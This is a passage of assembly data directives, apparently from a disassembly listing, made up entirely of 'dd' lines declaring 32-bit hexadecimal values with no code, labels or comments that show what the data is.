		dd 7C225B5Fh, 83875ED8h, 26E7CE24h, 340278B8h, 0FA8DB3B7h
		dd 10B06B0Eh, 169F13F8h, 64255BDAh, 8909F887h, 1D2830CAh
		dd 0C61E1007h, 800688E4h, 3E7F54Dh, 6801D36Ah, 0B4EF8716h
		dd 222FB9B0h, 0D6404150h, 420346E6h, 1329760Bh,	0D102DB52h
		dd 54FEFB30h, 0A66C8350h, 43A0C182h, 0E90201F9h, 0ABA724FAh
		dd 728B312Ah, 542DC104h, 88354458h, 32E0236Bh, 171F27F0h
		dd 6576A601h, 952D0309h, 206B704Dh, 59BF518h, 27AE6500h
		dd 984492DEh, 0A7CA009Ah, 7C721B73h, 942F0385h,	0DCC490C8h
		dd 568E00ECh, 666F605Ah, 4500A44Bh, 0B4CA21A5h,	4D0896FBh
		dd 75D32461h, 0CB78BCDCh, 0DDB4C1C3h, 35466017h, 4501479Bh
		dd 0DA716972h, 6B711DCCh, 93266032h, 142E58DCh,	6BB0CA00h
		dd 7E635F04h, 411C13D7h, 0B70C41CCh, 29919FCh, 0CADCC9B9h
		dd 16F536E8h, 92B1FE0h,	24E82748h, 20169234h, 0D60089C5h
		dd 1604CC3Fh, 0FCED2E29h, 6EB01FD4h, 20296F4h, 7699994h
		dd 680434E1h, 9B24834h,	0E04F9D28h, 0A0063CE8h,	0B0FB2418h
		dd 0FE8B9CCh, 40406896h, 11B2F503h, 0FC804B28h,	0E6EECD10h
		dd 0BC90BD89h, 0D700BC9Ah, 0B64961D3h, 1F692151h, 0C043AFA7h
		dd 83AFFA8h, 0CC3495B4h, 1CE2F8EFh, 12891899h, 42D04C29h
		dd 6C1D1287h, 14803CB8h, 4CCF6FD4h, 0E37D390Bh,	9F509821h
		dd 0B5E00185h, 1EC85328h, 5920F4EFh, 7D7E3604h,	4904022h
		dd 798B5CC3h, 0E210D742h, 0DEDD0EF0h, 3DF84010h, 2CA71Bh
		dd 0B0730CAFh, 0D0BCFEFBh, 2140A502h, 0A96A8060h, 0B6C804A4h
		dd 163DDA41h, 0B4207077h, 0F56C6901h, 0C31DCE98h, 619DCC42h
		dd 1474A958h, 4FC21131h, 55085013h, 82C56402h, 0E21AB616h
		dd 0A6406114h, 5DEE034h, 77DDB33Bh, 88F0126Dh, 1D73C02Ch
		dd 6EB94500h, 1E0E2659h, 304B004Ah, 6C31BB12h, 74A819F9h
		dd 0EE0022B0h, 0B32A6199h, 0F323D2Bh, 0A45325C3h, 0A6593E81h
		dd 302710h, 6479E9E0h, 0BC401AC7h, 6DFB1FD4h, 240648A4h
		dd 5C0084F2h, 0F8DC3A4h, 4604392Bh, 0F2A84847h,	0E0B3C085h
		dd 937FCC01h, 7FCDA4FAh, 0BEB37061h, 8574E8h, 7D520996h
		dd 3420C3A8h, 5D65DF02h, 0ECF448h, 6C981E15h, 87B00265h
		dd 0D0872824h, 2D7CBEE0h, 80A09532h, 0FF959624h, 6DDA5505h
		dd 90C391E6h, 0B8C7E06Bh, 90D54E99h, 1F62CC38h,	481C8295h
		dd 601507EEh, 0E699845Dh, 7C5E14A0h, 0C6180E01h, 0DF1EB6B8h
		dd 246231CDh, 5736BF00h, 4BDB3BEAh, 761D9F00h, 2A18BC90h
		dd 450743Dh, 262E5C70h,	633CB499h, 520395EEh, 5D3D6DC7h
		dd 5131A2CFh, 0E5408030h, 0C9385498h, 68DBB501h, 0DDF7C2E9h
		dd 5D85FF60h, 4135427h,	3444F4DCh, 8854675Ch, 79AA8307h
		dd 0EBE0F3AFh, 7500EC3Fh, 0FFCD668Ah, 2E598D58h, 184445D3h
		dd 0E5923155h, 0DC613F02h, 5659DA94h, 0FCC04D2Ch, 3700147Ch
		dd 0F5F9CE64h, 0A7468Ch, 267AB74Fh, 0CB5A5EE1h,	1CE00660h
		dd 1A2E915h, 0EB2C3549h, 3A147271h, 0EAB3C20h, 1CDB00EDh
		dd 44076862h, 0B025044Ch, 0B4E46Ah, 3A95C179h, 53016BC9h
		dd 16225500h, 92BC0DC7h, 0EDFC00DDh, 0B9192094h, 0E2036F46h
		dd 0D72BF44Dh, 0B255C052h, 319F0065h, 8A491C37h, 99442F34h
		dd 0FC570079h, 608C1BF2h, 6600937Bh, 0D99697DCh, 21F402Dh
		dd 56B921CAh, 0ACA30B8Dh, 3CE0D8E5h, 0F5077463h, 65FFCF52h
		dd 1700884Ah, 4E59A6C6h, 244F5BDBh, 958C01F0h, 0D40CE35Dh
		dd 2B07F59Dh, 4EE0E2B2h, 23F25530h, 0B10B0020h,	285A9FC2h
		dd 0CF00C89Bh, 18E308A1h, 8862D3h, 0B023A317h, 0CB7C16E4h
		dd 6FF61B00h, 6B4F0EB7h, 171D3564h, 0D6188C19h,	52FD8900h
		dd 545EEF66h, 9E4740Ah,	4AC781Eh, 10D700A0h, 6A722421h
		dd 8D04C47Bh, 6D59C220h, 4600A0F2h, 6BC69499h, 4C12327Fh
		dd 0F0C2E355h, 8ECF22DBh, 7C614CD4h, 4196920Bh,	522CB4BEh
		dd 34A6E100h, 5785C193h, 0FF47922h, 0B202E33Ch,	1E58694Ch
		dd 14A6D490h, 0C4FE1B0Eh, 266580D0h, 12D2E3B1h,	208592E5h
		dd 0CBFBB754h, 6455892h, 8438203Ah, 563D80BCh, 0FB5E00D0h
		dd 7B5DC21Fh, 22A5E22h,	32A9C46Ch, 0B20094DAh, 950F678Fh
		dd 17D95315h, 0BB6089D7h, 81714A09h, 441CFCE8h,	82B7ED1h
		dd 98A4C790h, 9C7C0E11h, 0E3734240h, 4004C7Ch, 6646EAECh
		dd 5D5704B7h, 0CCE79981h, 2E807934h, 42F81B6h, 0D4B84C00h
		dd 1A3083Fh, 86B1C4A8h,	8EB7E6C8h, 0E530F1BEh, 3CB0FBFAh
		dd 0F21D22E9h, 50F42607h, 245E4BCh, 2F8040F8h, 625F5EA5h
		dd 0D05A6409h, 2FC87845h, 0F82E3AAEh, 0AF4FDC44h, 346B020h
		dd 7701009Ch, 43F64132h, 0F50099B2h, 11D23A4Bh,	0B39357h
		dd 3B9CD38Ch, 95346255h, 6DD75C00h, 5E7ECD4Fh, 646C28F5h
		dd 9089C4DCh, 0A084E85Ah, 22EDF8h, 2F7F9B18h, 6B9832BDh
		dd 3CCCE34Bh, 767102F4h, 0C6FCC809h, 904C9CD0h,	8DCD0D60h
		dd 90366091h, 0D9958800h, 8AEC542Eh, 0FBA7F500h, 0C21CAEFFh
		dd 26663E39h, 598FE186h
		dd 7D5FF171h, 0CCBCA440h, 6554F0h, 0ADBB296Eh, 47283D11h
		dd 80F86D49h, 0AA72431Ch, 61680073h, 0DF3B2ABCh, 0F51A6E16h
		dd 0E419A9D8h, 97CD00FCh, 649B04CFh, 83022F84h,	4950DBEFh
		dd 61CC8F43h, 0E975EF5h, 0D9D4203Ah, 4B390C17h,	8AAF80CAh
		dd 83F8BC2Fh, 126F5C5Eh, 99B6F703h, 66C13F95h, 0E0A9C1E9h
		dd 0B102E7C4h, 0FCB84ADAh, 0DD989059h, 9C10B53Fh, 804C309Ch
		dd 8BF90003h, 0B0A1E888h, 0CF931F04h, 497D024Bh, 0D142E2CCh
		dd 0FF019079h, 0A74E9A42h, 4C73AC4h, 457ED1B9h,	8074FC97h
		dd 4B3F98ABh, 27BE4DDh,	0EDEC9F95h, 0DEE17274h,	0EF6120F9h
		dd 0F0124F8h, 0D5214CB6h, 1422DA62h, 0D7750C04h, 1EFC808Eh
		dd 0E4952607h, 89CC6738h, 673AF064h, 9900223Dh,	4644C6E5h
		dd 0E68C5B52h, 3E4A0F6Fh, 72406EA3h, 37BC6DC0h,	0E69A2600h
		dd 8C433C9Eh, 0D6210A4Bh, 9D3CD962h, 7D8EC1FEh,	9C911E40h
		dd 1F928780h, 829BD00Bh, 0D986CD28h, 4E840374h,	5F8172Dh
		dd 0BD205A93h, 4CC301CEh, 7FB22016h, 0E1A030BAh, 4841C88Bh
		dd 4225028Dh, 43E5D9ABh, 0DBD4A461h, 799F4CE0h,	0B599022h
		dd 0D692F6CBh, 0E0297440h, 0D06410F9h, 8CA75C34h, 0C57BBB00h
		dd 406957B9h, 4A000577h, 1193E41Ch, 0F65244h, 37191EFDh
		dd 8B43E15Dh, 64D55F2Fh, 0B12400D8h, 93F9B98Ch,	0ECB491CEh
		dd 89205844h, 7FF85B3Fh, 1DF175Ch, 5F90B77Ch, 24521A6Bh
		dd 40485693h, 90BBB3B6h, 0D63F1303h, 0C1E19A1Eh, 18316EEEh
		dd 181020h, 0A9323E69h,	9D19AD7Bh, 44802AD2h, 0E8B91A78h
		dd 68070002h, 19964B86h, 0B872E6DAh, 0C4CDF325h, 0B08F008Ch
		dd 0C25C6856h, 8200918Eh, 0D4FF010Ch, 2AB4159h,	0D7761E20h
		dd 0A48E74F5h, 1E60A3F2h, 0CD434621h, 4FCAEF8Ch, 0D04C20E0h
		dd 45004AC3h, 49295E0Fh, 7BAEEBC6h, 0A69A0B20h,	7B8F671Bh
		dd 626407B2h, 42B8507Ch, 0CB007757h, 0D33D820Ah, 24C953C1h
		dd 1281EE7h, 34F51D59h,	11206297h, 4E009330h, 0D8DE25C7h
		dd 0C015A78h, 3A5B05F5h, 28297526h, 69946524h, 4C992093h
		dd 9028426Fh, 1B4D0860h, 737811BDh, 7C4FF6FCh, 0F5A800ACh
		dd 1EA0AFA6h, 0AE0611E8h, 96B8731Dh, 145D2E40h,	23820F7h
		dd 0DB4DD3E5h, 0B8C50562h, 32406C80h, 95CD4B9Ch, 26FB9460h
		dd 0F089A76Ch, 1217098Bh, 0C6CD3C7h, 51B3CD00h,	15083E02h
		dd 570601D9h, 5E410E2Bh, 5E8C80Bh, 820DC40h, 4ACA8EEh
		dd 0B11F824h, 675E3105h, 14B08B6Eh, 9288A134h, 31BA2420h
		dd 0C8630A6Bh, 3870F41Fh, 69856D01h, 24463088h,	512CF54Ch
		dd 44255C62h, 917468h, 3F7A0E1Ah, 508A8E56h, 0C663B000h
		dd 2B9D25CCh, 313D0009h, 1F80DA64h, 1E171AC1h, 6C07ABEAh
		dd 10EB0352h, 9A6E9C8h,	0C2333A57h, 0B841C076h,	0B02547BEh
		dd 283E57F1h, 3C2CCC84h, 48046B31h, 9CBC8420h, 65ECDDC0h
		dd 431950C2h, 6DC96C25h, 342FC067h, 51F6D4ECh, 47465805h
		dd 54CE6DC7h, 4992A121h, 645F14E8h, 7454E0B0h, 4820934Ah
		dd 1E9EE127h, 42B45C26h, 0A3DC91E6h, 0BA04B080h, 7F12A01Fh
		dd 9C0220B9h, 919F2941h, 406E7DC8h, 54BF6ECh, 0C300E188h
		dd 0B8548112h, 3F3EE69Fh, 0FC1CBC98h, 4C11E58Fh, 95A1899h
		dd 5B04F51Ch, 6768FC8Ah, 0A01A5965h, 5CB9F450h,	0BA7E0038h
		dd 25A56F12h, 7AE4242Ch, 9654417Ch, 0ADD7C486h,	0C4A4D301h
		dd 0BDF39D24h, 0E1445FE4h, 48C4113Fh, 98818522h, 0F27D12CDh
		dd 0E089035Ch, 9B3956BDh, 88D21FA1h, 0C011F848h, 0C0BC9904h
		dd 3C823101h, 710E4C7Ah, 4BD3B870h, 2C90A16Dh, 989D7E6Ch
		dd 7F52A28h, 0F4505488h, 102EA2A8h, 11D62CC1h, 312E92CFh
		dd 3F083360h, 7E400027h, 94261A8Dh, 90E42F10h, 5007877h
		dd 0D34FB696h, 0B4331E75h, 246341A0h, 9F0E2053h, 54B8A51Bh
		dd 0A49EEA8h, 0A160DAB5h, 0D82181D4h, 916B805Fh, 0CF12E3F0h
		dd 3A48B58Dh, 132D0C8h,	0DC924AFEh, 201DB861h, 6880E90h
		dd 505CA824h, 3742358Ch, 635800F0h, 4B553CD7h, 311743E8h
		dd 60A6B9AFh, 65440071h, 0A672C20Ch, 0BD007DF2h, 995AB56Eh
		dd 8A904840h, 93749050h, 0E4780A01h, 7BD379B0h,	10000069h
		dd 4DF36DFCh, 4600F9DCh, 632E1C6Eh, 2E3F59CDh, 4065E5h
		dd 2ACE7C27h, 0E2F01FBBh, 63112961h, 29A95A25h,	0CA928048h
		dd 1D8A37B3h, 0C002531Dh, 63491C2h, 50704063h, 9FA224D1h
		dd 23216F4h, 54140915h,	0F240785Eh, 0C2C022h, 83053CBAh
		dd 82B185A3h, 49D1700h,	0FDD35AC4h, 9411FEC1h, 35C04EB8h
		dd 4B025E37h, 112764B9h, 7F303C84h, 68BF0077h, 0FB6C1C92h
		dd 2600BB80h, 791ED8A0h, 291DA225h, 2EC8D56h, 773C28E5h
		dd 1ED208A0h, 4117ABB6h, 74C8408Bh, 4158BE07h, 6CD1D354h
		dd 0B3648758h, 0B11823A1h, 0AC5BFCh, 986E7B5Eh,	9DDEC914h
		dd 5C4CA53Ch, 4264C154h, 29F2528Bh, 13B13018h, 95E99003h
		dd 0F8B6DA25h, 40FDDFEh, 0F8CD228Ch, 5550C172h,	63A86092h
		dd 5CBEA498h, 8AD157E0h, 0A1C60082h, 0CEACDBDAh, 32007EBDh
		dd 0AB18018Fh, 0B51F0789h, 33637890h, 0A432D874h, 65593431h
		dd 0F5D580F4h, 7A2E1F76h, 5CCC502Eh, 44E427h, 0D7594EBAh
		dd 0F72E7871h, 7B8A1200h, 5BBD5861h, 0DC545C75h, 39DCCA2Ah
		dd 468E4004h, 71E3439Bh, 5FBA4DA7h, 91012059h, 0B78B53D0h
		dd 7B80A02Ch, 4D448020h, 0FC38E10Fh, 0F310E1E5h, 45F8CB05h
		dd 0C5210598h, 0C0551B1Ch, 8D67C268h, 0F4AA94A1h, 0BC2C58EEh
		dd 9C44D814h, 625A9045h, 0A8180AF4h, 118BE5D5h,	48003542h
		dd 4BD864E2h, 7F09503Ch, 1F059200h, 0CE8BA416h,	0C8F54B8Ch
		dd 0C5166438h, 30147023h, 7FAFCFA0h, 91BCEC56h,	5B12103Ch
		dd 58E3021Fh, 30E281FCh, 5940407Eh, 0E4D4384h, 14CF2DAAh
		dd 5D6A9BA0h, 9C0BDA58h, 0B74A603h, 0B9E0382Ch,	0E9960260h
		dd 5B7F9A0h, 0F1808479h, 1689413Ch, 46E10001h, 0F32C4C37h
		dd 1F03B07Bh, 0F8844BD6h, 4AED9887h, 0E941006Fh, 2DCBC4D9h
		dd 5C4F8B44h, 0DE043CD2h, 9FC441FCh, 0BAE3D466h, 3E9B4B14h
		dd 56CE0080h, 5AB202EAh, 0A1BE124Fh, 7B5CC824h,	94B10863h
		dd 121CF946h, 888A3Eh, 0BD2D646Bh, 48FECF24h, 409F08C0h
		dd 48B5AACEh, 6800739Ah, 66EB1895h, 1EBE221Eh, 8067F964h
		dd 0B5421260h, 4126E47h, 4090BDE5h, 9CD80F5h, 2A53BFF0h
		dd 0D94BDA00h, 81171854h, 48D06D8h, 0AEF4203Bh,	9600A575h
		dd 0DC19BF9h, 719E6Bh, 0D4C7FE45h, 7E18D859h, 3AA11738h
		dd 0B8530008h, 401D9E65h, 0E0020FA7h, 60804534h, 200BB267h
		dd 997E1900h, 5FEBB7A3h, 0CE691393h, 0C04F58Dh,	557B77DCh
		dd 78D60900h, 0C1C69A03h, 0E12B0228h, 5912076Fh, 6480B4DEh
		dd 9ED7BA56h, 54BC9035h, 22CFD809h, 85B5938Ch, 80C7BAD8h
		dd 0C45D3DB2h, 64680058h, 0E0A0F56Ch, 5A0A96EAh, 8E398D5h
		dd 4B035000h, 0BCF76B2h, 94473AF3h, 0D541C082h,	0E2490423h
		dd 0CDCD66Ch, 5C806A69h, 6E6DCF13h, 8EB43C21h, 20548FCh
		dd 901EB9ABh, 0D0407460h, 316318Bh, 80A3E221h, 87064B00h
		dd 752589FFh, 0B4A1ABF8h, 0D0882A20h, 16390E3Bh, 9E081B3h
		dd 433F8E47h, 50965D2Ch, 6EBF5E02h, 44ECEC26h, 0BD008A0Ah
		dd 923E864Ch, 1FFA7E9h,	0AA4140C5h, 9355C479h, 808C5FE0h
		dd 0F81EF21Bh, 685813DCh, 0D9B0B0FDh, 0CFB5E01Fh, 0E464ADh
		dd 95613D69h, 2947D1C4h
		dd 9E59F900h, 38C53CF3h, 0D9E10426h, 0F070ACC9h, 32003DD8h
		dd 0F13E310Eh, 894961h,	75462157h, 0C0BE0AA3h, 1080ECB4h
		dd 0F5767E22h, 44010094h, 8127965Bh, 0E12769A8h, 7ABCC8F3h
		dd 10BD00DCh, 5D5278ACh, 8140FB60h, 231E2206h, 508090BDh
		dd 0EBC7008Fh, 5B727F90h, 0F300423Bh, 0BE17D29Ah, 0F860AAF4h
		dd 0E838D9F1h, 8BC4F9CFh, 0D9DB49F1h, 9F372898h, 7A396010h
		dd 0D9332100h, 49F126B8h, 777326E2h, 89E4109Ch,	0C640E26Ch
		dd 13850018h, 0C4E417FEh, 0D400CEC7h, 9D4B61E8h, 354EDC9h
		dd 96403DB3h, 50D05F18h, 2500BDC6h, 1EE587D0h, 0E305AE7h
		dd 3471D93Ah, 0E225CCEh, 20D2FD51h, 8A2BA700h, 890DE793h
		dd 7941EE40h, 3FAC1263h, 7E58305Bh, 0BCB1DD93h,	0D4304849h
		dd 455F039Ch, 4E38C7AFh, 26A5B4E9h, 9CC84E6Ch, 58CDFE20h
		dd 4705BB92h, 498AE760h, 784626C8h, 11A71CBEh, 0B21482F4h
		dd 0C9850BA4h, 0A000FF9Fh, 7447302Fh, 9C950E09h, 6A50803Ah
		dd 161DCE5Ch, 926D58E5h, 585E22E8h, 4058D127h, 0A259A81Dh
		dd 0C35280BDh, 0F4D8B5B1h, 0F6010E1Bh, 91C1728Bh, 0F6AB6FC2h
		dd 1600B451h, 0D4AAB6C7h, 50010399h, 8FE05727h,	1DB9D812h
		dd 5FD70437h, 4468C6B0h, 83751D49h, 54442F1Ch, 81404601h
		dd 35210162h, 785DFEFCh, 1B0404ABh, 0EAB61712h,	0FCF6B075h
		dd 518CEF0Eh, 0C23CD793h, 28463A41h, 0FB63AB00h, 0C4D35A91h
		dd 97E2C5h, 2679F7BFh, 84CEA7C1h, 983CAD97h, 0B3825C01h
		dd 0AE2B70h, 18BD92B9h,	9CB54639h, 0BE714918h, 289A3D11h
		dd 17B03141h, 0A4F3E3DEh, 0FB0095A8h, 902878B4h, 8B5D2Ah
		dd 0C2A70A66h, 9723BEDBh, 1F128498h, 841876B6h,	44F3BA40h
		dd 2E0025A5h, 0BC2CF84Ah, 5DC907h, 0B988708h, 2F458D7h
		dd 6BE1930Bh, 66810504h, 0B03F0C8h, 6F82ABE0h, 0A2A4A8EBh
		dd 0A1A30018h, 5ED72D57h, 3315005Ah, 0D95B824h,	0BEE005BAh
		dd 0B5B27608h, 90072F38h, 0C8CA4907h, 49687Ch, 5C847B2Ah
		dd 5D413725h, 6E677119h, 1455EE90h, 3EB700E4h, 5468989Ch
		dd 0D802F74Bh, 0BA9B3BC0h, 4844C1h, 0C5B95B7Eh,	6C81BD73h
		dd 75200800h, 0A1049CD8h, 20714B41h, 0F9D9CE78h, 5E72EAECh
		dd 4D898305h, 5CC41FF4h, 97CF50CCh, 0CD460490h,	0A27B5A2Fh
		dd 0E640903Ch, 4F492770h, 0EE0C1864h, 0AA3A25B4h, 0E1F758Ch
		dd 4D03163h, 56DAA781h,	6599338h, 0FC2DDCE2h, 0E2BD98CBh
		dd 0A8C8C29Ch, 92864D5h, 7558FDA6h, 3C63D412h, 808C49E4h
		dd 2DC78948h, 8E3400EDh, 72E34F8Bh, 553A3099h, 18B730D7h
		dd 0F88CF558h, 0C9C8001Fh, 4AD89766h, 3CF81864h, 22B78B01h
		dd 8E404F0Eh, 0A48CD23Ah, 64C2A8C8h, 80C9BBE9h,	742C8B48h
		dd 0B1D3F0h, 0A60913E3h, 62EE2340h, 0D65D2903h,	0F51DF999h
		dd 52313C80h, 8F9024CEh, 2C9069A0h, 0CD0F55DBh,	202E94C9h
		dd 20FA3F6Bh, 0B82101B3h, 0EE617996h, 8450F014h, 0C8024A2Ah
		dd 0B4A24B4Fh, 0E0AAFE80h, 0C60F67F8h, 206C3219h, 0A69E0B8Fh
		dd 116D14B9h, 80CFBCEDh, 0A007BEA7h, 1F683955h,	0CA8A5C0Fh
		dd 51A55D85h, 184D083Ch, 481E2081h, 402E6AD0h, 0B03F85FCh
		dd 4B5AC791h, 0D198E422h, 252124Ch, 0D1FD3D74h,	0C27A6420h
		dd 0C96C2E50h, 0E72D015Eh, 0CC5BB914h, 5C0B6EF5h, 44762639h
		dd 10D94304h, 904BB616h, 5D1D6CC8h, 99BAF500h, 33494CBBh
		dd 265A1DAAh, 8D48C078h, 0F7402A68h, 0F1853C05h, 0C0C1BE8Fh
		dd 0C710125Bh, 585E906Dh, 4F0B1CCAh, 2180E721h,	0EF7EE8B4h
		dd 0CF95CD01h, 8457AEC2h, 0DA7C332Fh, 0EC7915CAh, 104D8C00h
		dd 48EB26h, 33FB0E5h, 0D734DC17h, 3C526D0Eh, 64E8054h
		dd 3F84C48h, 0D670C759h, 0C1C2036Ch, 0D5EEE852h, 1326F101h
		dd 4025DBF2h, 61AF60E2h, 73020EB2h, 51694F66h, 0C84028FCh
		dd 67EB95h, 0D5875032h,	5E04DE76h, 46B89A1Ch, 8A8B5B82h
		dd 8424440Eh, 0EA0402B4h, 373454EFh, 1E007CC6h,	0CC36949Eh
		dd 1B5ECDh, 0A1F110E0h,	0B1027831h, 8CE2A306h, 2151DCBEh
		dd 2107D852h, 69425549h, 180D923h, 738DFEDEh, 3C39F020h
		dd 0B7089461h, 0C82AE4F6h, 80035C0h, 6CD14181h,	0F93D8D5h
		dd 6B457BAEh, 0B3F8CD20h, 6459CC69h, 0B6220294h, 0FEF57459h
		dd 4F4E3B60h, 42AB0F9Ch, 3E8A7430h, 5B25042Ch, 9C38003Bh
		dd 6D942697h, 0A0A50BB5h, 0ACE49BCEh, 205F4043h, 3FAE019Ch
		dd 0D9A81A00h, 0C3A750B7h, 0F2CA0F8Bh, 1E4F09CFh, 920C18E0h
		dd 3900135Eh, 4C9CB498h, 0EC046Eh, 0C5F5DA1Dh, 0D6D4E5CCh
		dd 80265B3Ah, 19FC5223h, 0A84ECABBh, 7F158h, 32660209h
		dd 0C5687975h, 45318405h, 0F8027B04h, 635F3B6Dh, 4036D88Ch
		dd 1D904E67h, 3C243E98h, 1840A5E0h, 0D1095A78h,	0F94FF745h
		dd 0B0150CD8h, 0CA0AC8E9h, 0E811E284h, 205C5F8Ah, 4CE4EC14h
		dd 2A0286DCh, 0CF7E0042h, 193712FCh, 0A61F6B80h, 640B07Ah
		dd 0C40F4B9h, 91309E1Bh, 4C8048ACh, 33B2807Ch, 0ABB904h
		dd 4B126E46h, 0A11BDEFEh, 7624BA00h, 5545DB59h,	4FF40D50h
		dd 9FE852F7h, 35802236h, 378B6EAFh, 240509A3h, 28D9B6F7h
		dd 8963480h, 0BFD08B9Dh, 6654EC01h, 0C1086C01h,	0FD39F9C1h
		dd 0F02A29C1h, 0EB0DF08Eh, 2086767Ah, 2FA8206Fh, 0FB0F9AE7h
		dd 0E02D311Ch, 0E9C91AFAh, 7EC80597h, 8D5A8FCBh, 2308614Ch
		dd 176012A4h, 0B0C408BCh, 4D152107h, 8021FB14h,	0FD407D41h
		dd 1448B2h, 6001A78Fh, 12630887h, 0F8BB9B2Eh, 8B725688h
		dd 0D48268B9h, 1829858Eh, 3C0194h, 0BD5471B1h, 0E094FFF4h
		dd 0CC4E2D00h, 0F7461A39h, 0B1887B57h, 0B925187Ch, 2BFB7CC8h
		dd 125D9022h, 0C1DA05h,	5E882D30h, 7D4F16C9h, 0C89268A2h
		dd 0C57833D8h, 0BBDB4C01h, 0A8F01C17h, 22581420h, 8C7A0D0Ch
		dd 0F114B897h, 721F0002h, 3DF38D3Bh, 0B40082D7h, 767D96D9h
		dd 2DE91B5Ah, 8F30BDFh,	1E501514h, 0AD8962C8h, 4408D6DBh
		dd 5C30EB5Dh, 4F70A7C0h, 0DAC020D3h, 19004550h,	54212315h
		dd 3EDFD6F5h, 6BBBF85Ch, 0BD0093C8h, 644F48E6h,	0FF4E3104h
		dd 4912E8BCh, 21DC90F4h, 0A403627Ah, 0DB4887E9h, 0E4190157h
		dd 0BFD62942h, 7067E11Ch, 432C1298h, 568528D8h,	0BC091B9Ah
		dd 60180016h, 50D36FC4h, 890BD0E3h, 6A3521B7h, 64C26094h
		dd 0EFDC5EC7h, 6EF9B420h, 0EE1F3EEBh, 0FE4185A5h, 6BA840D8h
		dd 0E6DA40EAh, 1C6497E3h, 7D2B400h, 0E136E886h,	0BE8C2h
		dd 793E8581h, 0F1BEBA2Bh, 48C7C5Ch, 2E16D5B7h, 0EBDB3CC1h
		dd 14021902h, 54702B09h, 0CCE0924Eh, 0F840F129h, 896FC440h
		dd 48C214EEh, 0CCC629CFh, 0A6E3D8C8h, 97A0860h,	0D484902Dh
		dd 0F40F2872h, 0A5D730C8h, 21C2A639h, 2E40C8B4h, 791F139h
		dd 3B4C1489h, 0FF57140Eh, 0F812F421h, 8B5AA317h, 84693ECAh
		dd 8F4C5246h, 0B4083519h, 0B21FE200h, 0EA520A25h, 92AD0051h
		dd 7D0C8A17h, 0FE01ECDFh, 0BA351D02h, 0DBF4D6B7h, 0F6C506A1h
		dd 299E64AAh, 56322202h, 4045E1E6h, 3EFD3133h, 8A037C3Fh
		dd 8829E5F9h, 74C22800h, 0E3CFF3C9h, 0C301383Ah, 0B9E27E1Fh
		dd 4B050306h, 401D5180h, 774030BDh, 791E089Dh, 3601308Bh
		dd 6165B349h, 5C35F400h, 19541DAAh, 2838C00Dh, 72934303h
		dd 0E0F3B70Eh, 3B42E0BEh, 5848741Dh, 641E4C90h,	14AC5DE1h
		dd 262060B1h, 8B72E943h, 77E2922h, 65F08B9Ch, 0B6F8C0D2h
		dd 0D50367F2h, 0F7F9A829h
		dd 8BA1002Fh, 5CDEE720h, 756F2468h, 0F5178048h,	987DF15Fh
		dd 1D3406B8h, 5807FF32h, 6C238A18h, 1943829h, 37BEAE87h
		dd 0F2423E93h, 0F0F4D087h, 0D11C350Bh, 53C2AEEh, 0FBB50118h
		dd 1A527B65h, 14B6C160h, 0BC7CF890h, 1589C310h,	7901853h
		dd 1D450B74h, 8B0087C7h, 1262ABFh, 0E49F9BA5h, 43ACA8C9h
		dd 0F1277CA8h, 0A75683h, 0E9F8AB76h, 0E60085AAh, 6BE567A1h
		dd 1D39BC2h, 0B80AADB6h, 437CBEE4h, 8BE3C3B6h, 0FA223AC8h
		dd 0B421F22Ah, 0D559AB04h, 388C08F3h, 30F12AFAh, 0F931779Ch
		dd 0C8148850h, 0B5DA01AFh, 7F732A43h, 929053C6h, 0E10A31C6h
		dd 0C5252805h, 7B518039h, 96067EFFh, 640314E0h,	33C7F097h
		dd 0B116C2Eh, 0F6AB6D01h, 91AEFD64h, 0A1889848h, 1308F544h
		dd 79FD1D00h, 0AF3BFAA2h, 9E1906C4h, 246D2AFEh,	3CF6AC3Fh
		dd 80230F4Ah, 0E9CA0164h, 880147Ah, 650271C9h, 0CCA6B2FDh
		dd 11FB744h, 0DF43A29Dh, 8C612451h, 16412AE1h, 0C70800F0h
		dd 0E1606835h, 78C41D3Dh, 23066756h, 97003159h,	34DE771Eh
		dd 0F2E4F203h, 0D5F500ACh, 2F79730Eh, 0FF0EFD62h, 0E4CE1091h
		dd 2080E941h, 9AC52Ch, 8C333E5Eh, 30C94F20h, 97CB7800h
		dd 752E4B0Bh, 0A480E8Bh, 6480637Bh, 8274C494h, 4796D69h
		dd 234E7F00h, 4009815h,	0B97E97CCh, 4614AFC7h, 0A2E04429h
		dd 0AE5D2033h, 0E602DC58h, 3B9D66C3h, 0F8E0FF5Ch, 3090E479h
		dd 7F7F4E1h, 443CAB12h,	353B8430h, 2AE0A1F9h, 3D84600Ch
		dd 2340F6FEh, 4900C091h, 6CC2D63Fh, 0E3A20CA3h,	7313291h
		dd 8B0014EAh, 97FC829Fh, 0C03BD2h, 8158FAE8h, 7E010B65h
		dd 2C8ABA24h, 0AC10501h, 4BF2C90Fh, 8D74C028h, 0F169CD7Ah
		dd 9319DA98h, 94A4F208h, 31DFDEF8h, 0F8260E0Ch,	0E5132005h
		dd 3AAA0A0h, 0FA00A0EEh, 1A0B2D54h, 4008F15Ch, 0A43A64F4h
		dd 941024BAh, 0DDB41E14h, 8D0504E2h, 845B5DE6h,	51D81F18h
		dd 70323179h, 80146675h, 2D18B9CCh, 0A419C03Fh,	1663C4FDh
		dd 7FA978C8h, 540E188Bh, 8EB11177h, 0A38FD200h,	4CB494BAh
		dd 0E16B0209h, 92C1C608h, 0FCF8988Ch, 10F78945h, 9E27BAB0h
		dd 189230A2h, 88136769h, 0F0E63C27h, 0EBDE003Ch, 2B4AA11Bh
		dd 1C619202h, 0BD4EE929h, 4CC6BCCCh, 391C617Ch,	0C7C88BBFh
		dd 0B526E658h, 46090FA9h, 8CD49301h, 0E83C4431h, 0AD3C606Dh
		dd 25391E87h, 2B019064h, 0ABA9895Bh, 0DC48804Bh, 0F8782658h
		dd 568748ACh, 3492830Ch, 2F00CB59h, 5E05E284h, 0D8114D9h
		dd 0B61A43AEh, 0C893FED2h, 0D09C1h, 63F4F9AAh, 0F4A4183h
		dd 0D7EC1900h, 0B7BC58FCh, 0EF1E0E1Dh, 4CA02E7Ah, 81D08739h
		dd 8B10700h, 0A66CCA52h, 19FF0610h, 0A1F822C3h,	4907F000h
		dd 13AF9453h, 67860723h, 9ACDBC3Bh, 92BD0158h, 0F4F0DC2Fh
		dd 0D8060669h, 1E9566EBh, 791C00F9h, 0F51FDF3Dh, 8C0072D7h
		dd 48148027h, 0C41D35C3h, 31BFE5D8h, 0A2100F0Dh, 34D543F8h
		dd 1A0C0000h, 167F7024h, 2D22428h, 33C43F4Ch, 0A182E980h
		dd 87253AAh, 56D4BF00h,	598E4474h, 0F911B67Ch, 532431E8h
